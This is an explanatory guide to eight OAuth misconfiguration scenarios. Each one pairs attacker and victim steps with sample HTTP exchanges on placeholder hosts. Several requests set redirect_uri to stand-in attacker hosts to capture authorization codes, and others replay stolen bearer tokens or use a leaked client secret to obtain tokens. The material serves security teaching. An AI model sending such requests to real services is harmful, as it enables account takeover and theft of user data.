OAuth Misconfiguration Scenarios with HTTP Request/Response Examples

1. Insufficient Token Expiry

Hacker's Steps:

1. The hacker steals the victim’s access token through some means (e.g., XSS, phishing, session hijacking).
2. After a long period, the hacker uses the same stolen token to access resources.

HTTP Request Example (Accessing Resource with a Stolen Token)

GET /api/user/profile HTTP/1.1
Host: example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.e30.VmljVG9rZW4=

Response (Successful Response Despite Old Token)

HTTP/1.1 200 OK
Content-Type: application/json

{
  "user_id": 1234,
  "name": "John Doe",
  "email": "[email protected]"
}

Victim's Steps:

1. The victim logs in and accesses resources normally.
2. The token remains valid for too long, allowing attackers to use it indefinitely.

2. Insecure Redirect URI

Hacker's Steps:

1. Initiate an OAuth login and modify the redirect URI to a malicious website.

HTTP Request Example (OAuth Login Request with Modified Redirect URI)

GET /auth?client_id=123456&redirect_uri=https://malicious-site.com/callback&response_type=code&scope=profile HTTP/1.1
Host: oauth-provider.com

Response (Redirects to Malicious Site)

HTTP/1.1 302 Found
Location: https://malicious-site.com/callback?code=abc123

Victim's Steps:

1. The victim clicks a legitimate OAuth login button (e.g., Google Login) but is redirected to a malicious site after authenticating, where their session is hijacked.

3. Misconfigured Scope Permissions

Hacker's Steps:

1. The hacker initiates an OAuth login requesting excessive scopes like reading sensitive profile data that the app doesn’t need.

HTTP Request Example (OAuth Login Request with Excessive Scopes)

GET /auth?client_id=123456&redirect_uri=https://example.com/callback&response_type=code&scope=profile email read_sensitive_data HTTP/1.1
Host: oauth-provider.com

Response (OAuth Authorization Page Showing Excessive Permissions)

HTTP/1.1 200 OK
Content-Type: text/html

<!-- The page will display something like this: -->
<!-- This app is requesting access to your: -->
<!-- - Profile Information -->
<!-- - Email Address -->
<!-- - Sensitive Data -->

Victim's Steps:

1. The victim authorizes the app without noticing the excessive scopes requested.
2. The hacker gains access to sensitive data not needed for the app’s functionality.

4. Weak Client Secret

Hacker's Steps:

1. The hacker discovers the client secret stored insecurely (e.g., in public GitHub repositories or front-end code).
2. The hacker uses the client secret to perform actions as a legitimate client.

HTTP Request Example (Forging a Token Using Client Secret)

POST /token HTTP/1.1
Host: oauth-provider.com
Content-Type: application/x-www-form-urlencoded

client_id=123456&client_secret=weaksecret&grant_type=client_credentials

Response (Forged Access Token)

HTTP/1.1 200 OK
Content-Type: application/json

{
  "access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.e30.VmljVG9rZW4=",
  "token_type": "Bearer",
  "expires_in": 3600
}

Victim's Steps:

1. The victim’s session is hijacked or the application is misused because the hacker can forge tokens using the weak client secret.

5. Use of Implicit Grant

Hacker's Steps:

1. The hacker observes that the OAuth flow uses the implicit grant and intercepts the access token from the URL.

HTTP Request Example (OAuth Login with Implicit Grant)

GET /auth?client_id=123456&redirect_uri=https://example.com/callback&response_type=token&scope=profile HTTP/1.1
Host: oauth-provider.com

Response (Access Token in URL)

HTTP/1.1 302 Found
Location: https://example.com/callback#access_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.e30.VmljVG9rZW4=&token_type=bearer

Victim's Steps:

1. The victim logs in via OAuth and the token is exposed in the URL, which may be stored in the browser history or logged in third-party systems.

6. Cross-Site Request Forgery (CSRF) in OAuth Flow

Hacker's Steps:

1. The hacker tricks the victim into clicking a malicious link that triggers an OAuth flow, granting the hacker permissions.

HTTP Request Example (Malicious OAuth Request)

GET /auth?client_id=123456&redirect_uri=https://attacker.com/callback&response_type=code&scope=profile HTTP/1.1
Host: oauth-provider.com

Response (OAuth Authorization Page to Victim)

HTTP/1.1 200 OK
Content-Type: text/html

<!-- Victim unknowingly authorizes the malicious app -->

Victim's Steps:

1. The victim is tricked into clicking a phishing link that initiates an OAuth flow, granting permissions to the hacker’s app.

7. Lack of State Parameter

Hacker's Steps:

1. The hacker intercepts an OAuth authorization request that lacks a state parameter and forges a request to hijack the victim’s session.

HTTP Request Example (OAuth Request without State Parameter)

GET /auth?client_id=123456&redirect_uri=https://example.com/callback&response_type=code&scope=profile HTTP/1.1
Host: oauth-provider.com

Response (OAuth Authorization)

HTTP/1.1 302 Found
Location: https://example.com/callback?code=abc123

Victim's Steps:

1. The victim logs in via OAuth without noticing the missing state parameter, making their session vulnerable to hijacking.

8. Authorization Code Interception

Hacker's Steps:

1. The hacker intercepts the authorization code during the OAuth flow and exchanges it for an access token.

HTTP Request Example (Intercepted Authorization Code)

GET /auth?client_id=123456&redirect_uri=https://example.com/callback&response_type=code HTTP/1.1
Host: oauth-provider.com

Response (Authorization Code in URL)

HTTP/1.1 302 Found
Location: https://example.com/callback?code=abc123

HTTP Request Example (Exchanging Code for Access Token)

POST /token HTTP/1.1
Host: oauth-provider.com
Content-Type: application/x-www-form-urlencoded

client_id=123456&client_secret=weaksecret&code=abc123&grant_type=authorization_code

Response (Access Token Granted)

HTTP/1.1 200 OK
Content-Type: application/json

{
  "access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.e30.VmljVG9rZW4=",
  "token_type": "Bearer",
  "expires_in": 3600
}

Victim's Steps:

1. The victim completes an OAuth login, but the authorization code is intercepted, leading to unauthorized access.